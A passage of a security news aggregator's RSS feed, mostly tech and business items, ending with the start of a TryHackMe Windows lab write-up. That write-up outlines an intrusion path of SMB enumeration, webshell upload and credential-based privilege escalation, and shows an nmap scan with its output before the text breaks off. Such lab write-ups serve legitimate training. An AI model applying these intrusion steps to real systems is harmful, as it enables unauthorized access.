<p class="wp-block-paragraph">But parts of monday.com’s agent estate remain in staged release, and its product is ultimately “mid-transition,” Gogia pointed out; its agent builder carried a beta label as recently as March,. Also, the company’s pricing model changed in May to a hybrid model charging for seats as well as mandatory AI credits. And, while its AI-powered no-code builder monday vibe passed $1 million in annual recurring revenue within two and a half months, monday.com has not released subsequent outcomes, usage volumes, or attach rates.</p>



<p class="wp-block-paragraph">Further, there’s an element of “gravity” with its competitors, he observed. Asana is reorganizing teams around agents, Atlassian is wiring agents into the developer estate, and others are simply bundling them into their offerings: Microsoft is doing so across the productivity stack, and ServiceNow across enterprise operations, each with identity and procurement built in.</p>



<p class="wp-block-paragraph">“Their pull is strongest exactly where monday.com wants to grow, in the largest accounts, where control-plane depth and administrative reach decide the deal,” said Gogia.</p>



<h2 class="wp-block-heading">Actions for the near-term</h2>



<p class="wp-block-paragraph">Going forward, buyers should focus on operating risk, not headline risk, Moor’s Brue noted. In practice, that’s continuity of service, roadmap consistency, and strength of enterprise support. Productivity should be valued as better outcomes per unit of organizational effort, not mere activity.</p>



<p class="wp-block-paragraph">“It should be a measure of how much smoother, faster, and more effective the operating model becomes when AI is built into the work,” said Brue.</p>



<p class="wp-block-paragraph">Gogia noted that strain surfaces first in customer service, and monday.com’s attention is being redistributed. The company’s annual report disclosed that its focus is now concentrated on the largest accounts, with support for medium-sized clients moved to an AI-first and human-supported model.</p>



<p class="wp-block-paragraph">During the first month of the transition, buyers should track named account continuity and escalation times, he advised. By the first quarter, keep an eye on whether credit governance and admin controls mature on schedule, and if the roadmap beyond the AI estate keeps pace. By the half-year mark, determine whether promised implementation depth is producing outcomes or “simply more billable engagement.”</p>



<p class="wp-block-paragraph">Support tiers should be enumerated in writing before renewal, and <a href="https://www.cio.com/article/4192312/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability.html" target="_blank">buyers should contract</a> for “side exits,” Gogia emphasized, with overage pricing fixed in advance, the right to pause consumption, and portability for workflows and agent configuration “if the relationship sours.” Finance should also insist on monthly consumption reporting by capability. Further, integration efforts, partner dependency, and change management should be considered first-class costs of the agent era, “not as afterthoughts to a license.”</p>



<p class="wp-block-paragraph">“A license was a known cost,” said Gogia. “A meter is a behavior, and behavior is harder to forecast than headcount.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Partners With Klarna To Offer iPhones, Macs On a Subscription Basis]]></title>
<description><![CDATA[Apple is reportedly launching a Klarna financing deal that will let U.S. customers spread the cost of devices over up to three years, pushing the company closer to a hardware-as-a-service model. "The only thing you don't get under the new arrangement is AppleCare, for which you'll allegedly need ...]]></description>
<link>https://tsecurity.de/de/3687501/it-security-nachrichten/apple-partners-with-klarna-to-offer-iphones-macs-on-a-subscription-basis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687501/it-security-nachrichten/apple-partners-with-klarna-to-offer-iphones-macs-on-a-subscription-basis/</guid>
<pubDate>Wed, 22 Jul 2026 22:12:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is reportedly launching a Klarna financing deal that will let U.S. customers spread the cost of devices over up to three years, pushing the company closer to a hardware-as-a-service model. "The only thing you don't get under the new arrangement is AppleCare, for which you'll allegedly need to pay extra," notes Computerworld. From the report: The introduction of the scheme gives consumers a way to purchase the company's popular high-end devices when they are introduced -- no doubt,at higher cost -- this fall. [...] A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. "Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do," [IDC analyst Francisco Jeronimo] wrote to me.
 
There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but probably can't afford to own.
 
The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but abandoned that plan as it became riskier with rising bank rates. "Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet," Jeronimo said. 
"Apple Upgrade lands at precisely the moment Apple needs it," Jeronimo wrote in a note seen by Computerworld. "Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September -- as well as the new iPhone foldable expected at $2,500 -- Apple's real risk is that rising prices even further can impact the upgrade cycle."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Apple+Partners+With+Klarna+To+Offer+iPhones%2C+Macs+On+a+Subscription+Basis%3A+https%3A%2F%2Fhardware.slashdot.org%2Fstory%2F26%2F07%2F22%2F1958256%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fhardware.slashdot.org%2Fstory%2F26%2F07%2F22%2F1958256%2Fapple-partners-with-klarna-to-offer-iphones-macs-on-a-subscription-basis%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://hardware.slashdot.org/story/26/07/22/1958256/apple-partners-with-klarna-to-offer-iphones-macs-on-a-subscription-basis?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[In der Natur: Dieser Fehler kann richtig gefährlich werden, warnen Retter]]></title>
<description><![CDATA[Beim Wandern werden Filterflaschen immer beliebter, um unterwegs aus Bächen und Seen trinken zu können. Expert*innen raten davon vehement ab.]]></description>
<link>https://tsecurity.de/de/3687310/it-nachrichten/in-der-natur-dieser-fehler-kann-richtig-gefaehrlich-werden-warnen-retter/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687310/it-nachrichten/in-der-natur-dieser-fehler-kann-richtig-gefaehrlich-werden-warnen-retter/</guid>
<pubDate>Wed, 22 Jul 2026 20:34:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Beim Wandern werden Filterflaschen immer beliebter, um unterwegs aus Bächen und Seen trinken zu können. Expert*innen raten davon vehement ab.]]></content:encoded>
</item>
<item>
<title><![CDATA[The Super Mario Galaxy Movie 4K Blu-ray might not be my favorite movie of the year, but my god it's an awesome new reference disc for testing TVs and Dolby Atmos sound system]]></title>
<description><![CDATA[Another month, another reference-quality 4K Blu-ray: and this time, it's The Super Mario Galaxy Movie.]]></description>
<link>https://tsecurity.de/de/3687225/it-nachrichten/the-super-mario-galaxy-movie-4k-blu-ray-might-not-be-my-favorite-movie-of-the-year-but-my-god-its-an-awesome-new-reference-disc-for-testing-tvs-and-dolby-atmos-sound-system/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687225/it-nachrichten/the-super-mario-galaxy-movie-4k-blu-ray-might-not-be-my-favorite-movie-of-the-year-but-my-god-its-an-awesome-new-reference-disc-for-testing-tvs-and-dolby-atmos-sound-system/</guid>
<pubDate>Wed, 22 Jul 2026 20:13:07 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Another month, another reference-quality 4K Blu-ray: and this time, it's The Super Mario Galaxy Movie.]]></content:encoded>
</item>
<item>
<title><![CDATA[Menlo Ventures’ Matt Murphy explains why Anthropic is winning (and it’s not the model)]]></title>
<description><![CDATA[Anthropic leaped to a $47 billion revenue run rate by May, compared to $9 billion in 2025. It’s the kind of growth that Menlo Ventures’ Matt Murphy says he’s never seen in 25 years of investing, not in the internet wave, not in mobile, not in the first cloud boom. Menlo led Anthropic’s $500M Seri...]]></description>
<link>https://tsecurity.de/de/3687222/it-nachrichten/menlo-ventures-matt-murphy-explains-why-anthropic-is-winning-and-its-not-the-model/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687222/it-nachrichten/menlo-ventures-matt-murphy-explains-why-anthropic-is-winning-and-its-not-the-model/</guid>
<pubDate>Wed, 22 Jul 2026 20:12:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Anthropic leaped to a $47 billion revenue run rate by May, compared to $9 billion in 2025. It’s the kind of growth that Menlo Ventures’ Matt Murphy says he’s never seen in 25 years of investing, not in the internet wave, not in mobile, not in the first cloud boom. Menlo led Anthropic’s $500M Series D, and Murphy has had a front-row seat as the company went from a pre-revenue, […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Own nothing, upgrade everything: Apple’s new Klarna deal]]></title>
<description><![CDATA[Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to launch its new deal with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread a...]]></description>
<link>https://tsecurity.de/de/3687133/it-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687133/it-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</guid>
<pubDate>Wed, 22 Jul 2026 19:18:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to <a href="https://www.reuters.com/business/apple-launch-upgrade-device-leasing-program-spur-sales-bloomberg-news-reports-2026-07-21/" target="_blank" rel="noreferrer noopener">launch its new deal</a> with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread across up to three years.</p>



<p class="wp-block-paragraph">This matters because when combined with Apple One and Apple’s Creator Studio subscriptions, the Klarna arrangement brings Apple closer to offering a full subscription model for hardware, software, and services. The only thing you don’t get under the new arrangement is AppleCare, for which you’ll allegedly need to pay extra.</p>



<h2 class="wp-block-heading"><strong>Moving closer to hardware-as-a-service</strong></h2>



<p class="wp-block-paragraph">Apple has slowly been <a href="https://www.applemust.com/opinion-how-you-will-access-apple-products-in-future/#google_vignette" target="_blank" rel="noreferrer noopener">transitioning toward</a> hardware-as-a-service for almost a decade. Back then, Forrester analyst <a href="https://www.applemust.com/apple-klarna-mean-we-can-now-get-apple-as-a-service/" target="_blank" rel="noreferrer noopener">Frank Gillet predicted</a> the company would eventually offer bundles of services and products for a monthly, all-in, fee. </p>



<p class="wp-block-paragraph">This isn’t quite where we are yet; you still need at least three subscriptions to get close. But, after the better part of a decade, Apple has moved much nearer to the hardware-as-a-service idea.</p>



<p class="wp-block-paragraph">There are some products reportedly excluded from the arrangement, including MacBook Neo, Apple Watch SE, the entry-level iPad, and iPhone 16. Clearly, Apple sees those products as sufficiently affordable. </p>



<h2 class="wp-block-heading"><strong>Easy payments for RAM-ageddon</strong></h2>



<p class="wp-block-paragraph">The new Klarna arrangement comes as Apple is forced to increase product prices as AI-driven memory price inflation becomes widely felt across every economy. In theory, I assume, Apple hopes to make its products available to cash-strapped consumers who need new hardware, while also navigating a time of deep economic tumult and uncertainty. It’s thought the company has <a href="https://www.bloomberg.com/news/newsletters/2025-04-06/will-apple-raise-iphone-prices-in-the-us-after-trump-tariffs-iphone-17-details" target="_blank" rel="noreferrer noopener">previously rejected these plans</a> to protect normal hardware sales, but normality is a kingdom we no longer seem to possess. Interesting times. Probable inflation incoming.</p>



<p class="wp-block-paragraph">“Apple Upgrade lands at precisely the moment Apple needs it,” IDC analyst Francisco Jeronimo wrote in a note seen by <em>Computerworld</em>. “Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September — as well as the new iPhone foldable expected at $2,500 — Apple’s real risk is that rising prices even further can impact the upgrade cycle.” </p>



<h2 class="wp-block-heading"><strong>New age, new shopping habits</strong></h2>



<p class="wp-block-paragraph">The introduction of the scheme gives consumers a way to purchase the company’s popular high-end devices when they are introduced — no doubt,at higher cost — this fall. Plus, of course, if it’s <a href="https://www.businessinsider.com/general-motors-gm-earnings-subscriptions-revenue-business-2026-1" target="_blank" rel="noreferrer noopener">good enough for GM</a>, it’s good enough for Apple.</p>



<p class="wp-block-paragraph">It’s all about attitude, too. From Apple’s perspective, it <a href="https://www.computerworld.com/article/4125784/are-you-ready-for-apple-as-a-service.html">has done plenty of the groundwork</a> required to <a href="https://www.applemust.com/apple-vp-eddy-cue-shares-15-important-apple-services-stats/" target="_blank" rel="noreferrer noopener">convince its customers</a> that subscription payments for things you value are no bad thing. </p>



<p class="wp-block-paragraph">Reluctance to embrace “Access Not Ownership’”purchasing models has dropped dramatically since Apple — and <a href="https://www.computerworld.com/article/1665439/apples-tim-cook-has-kept-his-50b-services-promises.html">CEO Tim Cook</a> — first began <a href="https://www.applemust.com/apples-50b-services-target-just-isnt-ambitious-enough/">banging the drum</a> for services income. Apple’s services stream has now become its second-biggest revenue driver after the iPhone. It has over 1 billion paid subscriptions, and an active hardware installed base of <a href="https://www.computerworld.com/article/4168225/wwdc-2026-how-apple-can-take-a-great-leap-in-ai.html">more than 2.5 billion devices globally</a>.</p>



<p class="wp-block-paragraph">A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. “Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do,” Jeronimo wrote to me. </p>



<p class="wp-block-paragraph">There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but <a href="https://medium.com/from-heart-to-hand/the-subscription-society-what-happens-when-you-own-nothing-ef32d5bc32d2" target="_blank" rel="noreferrer noopener">probably can’t afford to own</a>.</p>



<h2 class="wp-block-heading"><strong>Managing future risk</strong></h2>



<p class="wp-block-paragraph">The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but <a href="https://www.bbc.co.uk/news/articles/c255y82y9x8o" target="_blank" rel="noreferrer noopener">abandoned that plan</a> as it became riskier with rising bank rates. “Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet,” Jeronimo said.</p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Lawmakers want Trump to investigate EU's 'anti-American' Digital Markets Act]]></title>
<description><![CDATA[U.S. Lawmakers have written to President Donald Trump, hoping he will do something to help big tech companies being targeted by the E.U.'s Digital Markets Act.U.S. President Donald TrumpThe European Union's Digital Markets Act has been a thorn in Apple's side since its introduction. Lawmakers in ...]]></description>
<link>https://tsecurity.de/de/3687046/ios-mac-os/lawmakers-want-trump-to-investigate-eus-anti-american-digital-markets-act/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687046/ios-mac-os/lawmakers-want-trump-to-investigate-eus-anti-american-digital-markets-act/</guid>
<pubDate>Wed, 22 Jul 2026 18:40:09 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[U.S. Lawmakers have written to President Donald Trump, hoping he will do something to help big tech companies being targeted by the E.U.'s Digital Markets Act.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68324-144028-64919-135338-63260-131436-63196-131313-trumptariffs-xl-(1)-xl-xl-xl.jpg" alt="Man in suit and red tie holds up an open document with text and a large bold signature, standing outdoors in front of a blurred American flag backdrop" height="738"><br><span>U.S. President Donald Trump</span></div><br>The European Union's Digital Markets Act has <a href="https://appleinsider.com/articles/25/10/08/apples-eu-digital-markets-act-antitrust-debacle-may-be-settled-soon">been a thorn</a> in Apple's side since its introduction. Lawmakers in the United States want something done to fight what they consider to be rules that target U.S. Big Tech firms unfairly.<br><br>A letter signed by 25 Republicans, including seven members of the House of Representatives Trade Subcommittee, has been sent to Trump, urging him to open trade investigations against the E.U. The letter, <a href="https://www.reuters.com/legal/government/us-lawmakers-urge-trump-act-against-eu-tech-rules-suggest-trade-probes-2026-07-21/">seen by</a> <em>Reuters</em> on July 21, focuses chiefly on the Digital Markets Act as a tool that works against U.S. firms.<br><br><br> <a href="https://appleinsider.com/articles/26/07/22/lawmakers-want-trump-to-investigate-eus-anti-american-digital-markets-act?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245028?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Nirvanna the Band the Show and Movie will finally be available to stream via Hulu on July 24]]></title>
<description><![CDATA[The recent film was a big hit, but the series wasn't available to watch anywhere.]]></description>
<link>https://tsecurity.de/de/3686955/it-nachrichten/nirvanna-the-band-the-show-and-movie-will-finally-be-available-to-stream-via-hulu-on-july-24/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686955/it-nachrichten/nirvanna-the-band-the-show-and-movie-will-finally-be-available-to-stream-via-hulu-on-july-24/</guid>
<pubDate>Wed, 22 Jul 2026 18:11:00 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The recent film was a big hit, but the series wasn't available to watch anywhere.]]></content:encoded>
</item>
<item>
<title><![CDATA[Elon Musk says Grok Imagine will make ‘historically accurate’ AI adaptation of Homer’s Odyssey]]></title>
<description><![CDATA[The billionaire says the AI-generated film will stay true to Homer’s original, after repeatedly criticising Christopher Nolan’s blockbuster over its casting choicesElon Musk has said his AI platform Grok Imagine will make a “historically accurate” adaptation of Homer’s Odyssey, after the success ...]]></description>
<link>https://tsecurity.de/de/3686239/it-nachrichten/elon-musk-says-grok-imagine-will-make-historically-accurate-ai-adaptation-of-homers-odyssey/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686239/it-nachrichten/elon-musk-says-grok-imagine-will-make-historically-accurate-ai-adaptation-of-homers-odyssey/</guid>
<pubDate>Wed, 22 Jul 2026 14:18:37 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The billionaire says the AI-generated film will stay true to Homer’s original, after repeatedly criticising Christopher Nolan’s blockbuster over its casting choices</p><p>Elon Musk has said his AI platform Grok Imagine will make a “historically accurate” adaptation of Homer’s Odyssey, after the success of Christopher Nolan’s blockbusting treatment which the SpaceX founder has regularly criticised over its casting.</p><p><a href="https://x.com/elonmusk/status/2079758604656316619">In a post on X</a>, Musk said: “Before this year ends, Grok Imagine will make a full-length movie of The Odyssey that is historically accurate and true to the art of Homer.” Musk also linked to a post containing a three-minute clip of footage that the user said had been generated from Grok Imagine, showing a scene between Odysseus and the nymph Calypso.</p> <a href="https://www.theguardian.com/film/2026/jul/22/elon-musk-grok-imagine-historically-accurate-ai-homers-odyssey-christopher-nolan">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[The $3 trillion assembly line: Why CIOs must industrialize the data center supply chain]]></title>
<description><![CDATA[You are one of the six billion people (75% of the world population) online today, and every click you make is routed through the data center. Data centers, whether knowingly or unknowingly, play a very critical role in your daily online activities. With an increasing population, increasing usage ...]]></description>
<link>https://tsecurity.de/de/3686216/it-nachrichten/the-3-trillion-assembly-line-why-cios-must-industrialize-the-data-center-supply-chain/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686216/it-nachrichten/the-3-trillion-assembly-line-why-cios-must-industrialize-the-data-center-supply-chain/</guid>
<pubDate>Wed, 22 Jul 2026 14:04:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">You are one of the six billion people (75% of the world population) online today, and every click you make is routed through the data center. Data centers, whether knowingly or unknowingly, play a very critical role in your daily online activities. With an increasing population, increasing usage of online presence, and now omniscient AI, the demand for data centers has increased manyfold, and the trend seems similar to the year 2000, when telephone towers were built to accommodate increased digital presence.</p>



<p class="wp-block-paragraph">To win the AI race, Hyperscalers (Google, Meta, Amazon, Microsoft, Alibaba, Oracle, IBM, Tencent) are spending huge amounts of money on data center development. In the USA, the hyperscalers are planning to spend <a href="https://finance.yahoo.com/news/big-tech-set-to-spend-650-billion-in-2026-as-ai-investments-soar-163907630.html">$650 billion in 2026, which is around 70% higher than 2025 spending</a>, according to Yahoo Finance.</p>



<p class="wp-block-paragraph">As per McKinsey research, by 2030, companies will invest around $7 trillion in Capex on data center infrastructure globally. More than $4 trillion will go towards computing hardware investment. More than 40% of this spending will be invested in the United States.</p>



<h2 class="wp-block-heading">Demand growth in data centers</h2>



<p class="wp-block-paragraph">McKinsey analysis shows that global demand for data center capacity can more than triple by 2030, with a compound annual growth rate (CAGR) of around 22 per cent. In the USA, data center demand could grow by 20-25 per cent at the same time.  </p>



<p class="wp-block-paragraph">The data center industry is currently undergoing a violent transition. We are moving away from the era of “bespoke projects” — where every facility was a unique architectural feat — into an era of industrialized infrastructure. With global capital expenditure in the sector projected to hit $3 trillion by 2028, the “bottleneck” has shifted. It is no longer about securing the capital; it is about the physics of the supply chain.</p>



<p class="wp-block-paragraph">During my tenure at Vantage, managing the intersection of data center construction management (DCCM) and infrastructure management (DCIM), I saw firsthand that the most successful players aren’t those with the deepest pockets, but those with the most integrated data threads. If your construction data in Procore doesn’t talk to your financial reality in Yardi, or your operational capacity in DCIM, you aren’t building a data center — you’re managing a $500 million blind spot.</p>



<h2 class="wp-block-heading">The death of “sticks and bricks”</h2>



<p class="wp-block-paragraph">Traditionally, data center construction was treated as civil engineering. But for the modern CIO, a data center is a complex product assembly.</p>



<p class="wp-block-paragraph">The challenges are systemic. We are facing 50-to-80-week lead times for critical “long-pole” items: extra-high-voltage transformers, switchgear, and the liquid cooling manifolds required for the next generation of AI chips. In this environment, the traditional reactive supply chain model is a liability.</p>



<p class="wp-block-paragraph">To survive the $3 trillion inflow, we must adopt a hybrid-agile SCOR (supply chain operations reference) model. This means applying continuous flow logic to standardized components (like modular power skids) while maintaining agile responsiveness for the volatile IT layer.</p>



<h2 class="wp-block-heading">The digital bridge: Construction management software  to ERP</h2>



<p class="wp-block-paragraph">The most significant opportunity for CIOs lies in financial-operational integration. In many organizations, there is a data chasm between the construction site and the corporate office. Construction teams live in the construction management software tracking tasks, trades, RFIs and payment submittals. Finance teams operate corporate offices with project management tools (worth remembering that email is a key tool besides spreadsheets and phone calls) tracking capex schedule, commissioning timeline, capital drawdowns and asset lifecycle management.</p>



<p class="wp-block-paragraph">These systems are siloed; the CIO loses visibility into the total cost to serve. By integrating construction management into the financial system, we create real-time financial visibility of the build. We can see exactly how a three-week delay in a chiller delivery impacts the internal rate of return (IRR) of the entire asset. This isn’t just accounting; it’s strategic telemetry.</p>



<h2 class="wp-block-heading">From BIM to DCIM: The lifecycle thread</h2>



<p class="wp-block-paragraph">The second bridge is the handoff from construction (BIM) to operations (DCIM). Historically, this handoff was a nightmare of PDFs and Excel sheets. By the time the operations team took the keys, the “as-built” design information was already out of date.</p>



<p class="wp-block-paragraph">The opportunity today is to maintain a continuous data thread. The sensor data and asset tags established during the “make” phase in our SCOR model should flow directly into the DCIM. This allows us to perform virtual commissioning. Before a single server is racked, we should already have a digital replica of the airflow, power distribution, and cooling capacity.</p>



<h2 class="wp-block-heading">The scientific inference: AI in the supply chain</h2>



<p class="wp-block-paragraph">As someone who has led data and AI initiatives, I’ve seen the hype. But in the supply chain, the application of AI must be pragmatic, not generative. We don’t need AI to write poems; we need it for predictive procurement. Most organizations manage their procurement in ERP or a mix of a few tools to manage the source-to-settle business flow. Adopting a system workflow improves data collection and the state of the procurement cycle, which in turn provides AI with the context to draw inferences for possible delays and anomalies in original specifications and change orders.</p>



<p class="wp-block-paragraph">By applying machine learning to global logistics data, we can move from just-in-time to just-in-case modeling. AI can analyze geopolitical risks, shipping lane congestion, and raw material pricing to tell a CIO: <em>“Order your switchgear 14 months early, or your Q3 2027 ‘Power On’ date is at risk.”</em></p>



<h2 class="wp-block-heading">Bringing it all together: AI in the supply chain and finance</h2>



<p class="wp-block-paragraph">Why it matters: Approximately 70% of the capex is on this workflow and making timely decisions that directly impact the ready-for-service dates. The current challenge of reactionary adjustment in design to procurement to local fit-out is a significant drain on capex efficiency and cost of capital. Because single-project delivery delays have become so volatile, a massive structural shift is occurring in how digital infrastructure is funded. Single-project debt (special purpose vehicles or SPVs) is facing severe friction. To insulate themselves from RFS shocks, the largest institutional players are moving toward permanent platform capital — aggregating exposure across dozens of global assets simultaneously.</p>



<p class="wp-block-paragraph">Navigating these complex multi-billion-dollar engineering projects distributed over a large geography is simply unmanageable without rethinking and re-engineering existing tools and processes.</p>



<h2 class="wp-block-heading">The roadmap for the modern CIO</h2>



<p class="wp-block-paragraph">To lead this transformation, CIOs must move beyond the IT shop mentality and become master orchestrators of the supply chain. Here is the 1500-word reality condensed into three mandates:</p>



<ol start="1" class="wp-block-list">
<li><strong>Standardize the product:</strong> Stop designing bespoke facilities. Move toward DFMA (design for manufacturing and assembly). If 70% of your data center can be built in a factory and shipped as modules, you bypass the unpredictability of on-site labor.</li>



<li><strong>Integrate the financial stack:</strong> If your construction management software and your ERP aren’t sharing a heartbeat, your data is lying to you. Force the integration between Procore and Yardi.</li>



<li><strong>Own the long poles:</strong> Don’t leave the procurement of transformers and cooling units to general contractors. Use your balance sheet to secure these items years in advance. In 2026, inventory is the new currency.</li>
</ol>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AllSignsPoint2Pwnage — TryHackMe Windows Write-up]]></title>
<description><![CDATA[AllSignsPoint2Pwnage is a Windows-based room on TryHackMe that requires the user to enumerate open SMB shares and upload a webshell to get an initial foothold on the target. After that one can find higher-level credentials on the target which can be leveraged to gain an administrator shell and gr...]]></description>
<link>https://tsecurity.de/de/3686039/hacking/allsignspoint2pwnage-tryhackme-windows-write-up/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686039/hacking/allsignspoint2pwnage-tryhackme-windows-write-up/</guid>
<pubDate>Wed, 22 Jul 2026 13:01:32 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>AllSignsPoint2Pwnage is a Windows-based room on TryHackMe that requires the user to enumerate open SMB shares and upload a webshell to get an initial foothold on the target. After that one can find higher-level credentials on the target which can be leveraged to gain an administrator shell and gradually extract the admin flag. This room is great for anyone who’s venturing into Windows pentesting and needs practical experience dealing with vulnerable systems.</p><h3>0x00: Enumeration</h3><ul><li>Started with running a TCP Scan on the target via Nmap.</li></ul><pre>nmap -sC -sV -p- 10.48.128.241 </pre><pre>Nmap scan report for 10.48.128.241<br>Host is up (0.039s latency).<br><br>PORT     STATE SERVICE       VERSION<br>21/tcp   open  ftp           Microsoft ftpd<br>| ftp-syst: <br>|_  SYST: Windows_NT<br>| ftp-anon: Anonymous FTP login allowed (FTP code 230)<br>|_11-14-20  04:26PM                  173 notice.txt<br>80/tcp   open  http          Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.11)<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.4.11<br>|_http-title: Simple Slide Show<br>135/tcp  open  msrpc         Microsoft Windows RPC<br>139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn<br>443/tcp  open  ssl/http      Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.11)<br>|_http-title: Simple Slide Show<br>|_ssl-date: TLS randomness does not represent time<br>|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.4.11<br>| ssl-cert: Subject: commonName=localhost<br>| Not valid before: 2009-11-10T23:48:47<br>|_Not valid after:  2019-11-08T23:48:47<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>| tls-alpn: <br>|_  http/1.1<br>445/tcp  open  microsoft-ds?<br>3389/tcp open  ms-wbt-server Microsoft Terminal Services<br>| ssl-cert: Subject: commonName=DESKTOP-997GG7D<br>| Not valid before: 2026-07-08T06:13:45<br>|_Not valid after:  2027-01-07T06:13:45<br>|_ssl-date: 2026-07-09T06:17:29+00:00; +2s from scanner time.<br>| rdp-ntlm-info: <br>|   Target_Name: DESKTOP-997GG7D<br>|   NetBIOS_Domain_Name: 